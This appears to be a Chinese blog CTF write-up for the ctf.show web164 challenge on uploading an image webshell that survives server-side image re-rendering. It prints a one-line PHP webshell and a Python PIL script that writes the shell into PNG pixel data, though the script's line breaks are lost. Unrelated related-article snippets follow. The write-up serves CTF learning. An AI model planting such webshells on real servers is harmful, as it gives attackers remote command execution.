web164笔记(图片二次渲染绕过)

先右键查看源码,发现有个download.php?image=

 猜测有可能是上传图片马,然后文件包含执行命令,我们先上传一个图片马

点击查看图片,跳转到图片页面,但发现执行不了,crtl+s把图片下载下来后,对比之前的图片发现马被弄没了

 

 应该是经过了二次刷新,这里用之前收集的外国师傅的脚本来生成图片马

/*<?$_GET[0]($_POST[1]);?>*/
from PIL import Image# 定义颜色数据
p = [0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33
]# 创建一个32x32的图像
img = Image.new('RGB', (32, 32))# 获取图像的像素
pixels = img.load()# 设置像素颜色
for y in range(0, len(p), 3):r = p[y]g = p[y+1]b = p[y+2]# 设置像素位置 (x, y),其中 x 通过索引 / 3 来获取x = round(y / 3)pixels[x, 0] = (r, g, b)# 保存图像
img.save('Flag.png')

使用方式:python 1.py 输出Flag.png

上传后点击查看图片  https://8549b63a-cae4-4970-8801-19bec077674e.challenge.ctf.show/download.php?image=76474e7895cd6fdb015c35986a41f1ac.png

 

 https://8549b63a-cae4-4970-8801-19bec077674e.challenge.ctf.show/download.php?image=76474e7895cd6fdb015c35986a41f1ac.png

 然后control+s保存图片,使用winHex打开查看

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/908593.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

US108S-ASEMI功率电机控制电路专用US108S

US108S-ASEMI功率电机控制电路专用US108S编辑:LL US108S-ASEMI功率电机控制电路专用US108S 型号:US108S 品牌:ASEMI 封装:TO-220F US108S核心优势:高耐压、大电流、超强抗干扰‌作为一款高性能双向可控硅,US108S专为交流电调控设计,其核心参数包括: ‌800V断态重复峰值…

关于STM32H7使用SPI6+BDMA传输数据失败

原因由图可知BDMA只能访问SRAM4里的数据,但是我当时是把数据存到了外置的SDRAM中用FMC访问所以导致在使用HAL_SPI_Transmit_DMA(&hspi6, (uint8_t*)LCD_BUF_1, 3200)无法传输数据。 解决方法修改链接文件STM32H743IITX_FLASH.ld:在SECTIONS { }中添加.sram4 (NOLOAD) : …

从零开始学习OpenCL

前言之前在读《Fundamentals Of Computer Graphics》的时候,书中稍微提了一嘴GPGPU的概念,GPGPU即使用图形处理单元的一般用途计算(General Purpose Computation Using Graphics Processor)。之前对这个挺感兴趣的,于是想学一点关于这个的内容。能利用设备进行大规模并行运…

数智技术在城市生命线安全管理中的应用与进展

随着城市化进程的加速,城市生命线工程的安全治理变得尤为重要。城市生命线工程,包括燃气、供水、排水、桥梁、道路等关键基础设施,是城市运行的“血脉”和“神经”,其安全性直接关系到城市居民的生活安全和城市的稳定发展。在数字化转型的大背景下,如何利用数智化技术提升…

VMware Workstation Pro 17 安装教程 (超详细-附16版本)

由于VMware已经被博通收购了,现在官网已经下载不了,只能进博通官网下载:Home - Support Portal - Broadcom support portal 博通需要注册登录,注册时163邮箱和新浪邮箱都受限制,无法使用,觉得麻烦的百度网盘下载链接 通过网盘分享的文件:vm 17pro.zip链接: https://pan.…

libgdk-x11-2.0.so.0()(64bit) is needed by mega-11.0.13-1.x86_64

001、问题: libgdk-x11-2.0.so.0()(64bit) is needed by mega-11.0.13-1.x86_64 002、解决方法:dnf install gtk2 003、验证效果[root@PC1 mega]# rpm -ivh mega-11.0.13-1.x86_64.rpm Verifying... ################################# [100%] Pr…

Nacos 2.2.x版本客户端注册监听器时的多网卡问题

背景 在本地环境启动Nacos和SpringBoot应用测试nacos的配置监听特性,Nacos控制台在本地以单机模式启动,SpringBoot应用在IDEA中启动;本地环境有一个VMWare虚拟机实例。 问题 Nacos控制台绑定的IP为VMware虚拟机网卡的IP Nacos控制台启动后绑定的IP为VMware虚拟网卡的IP:192…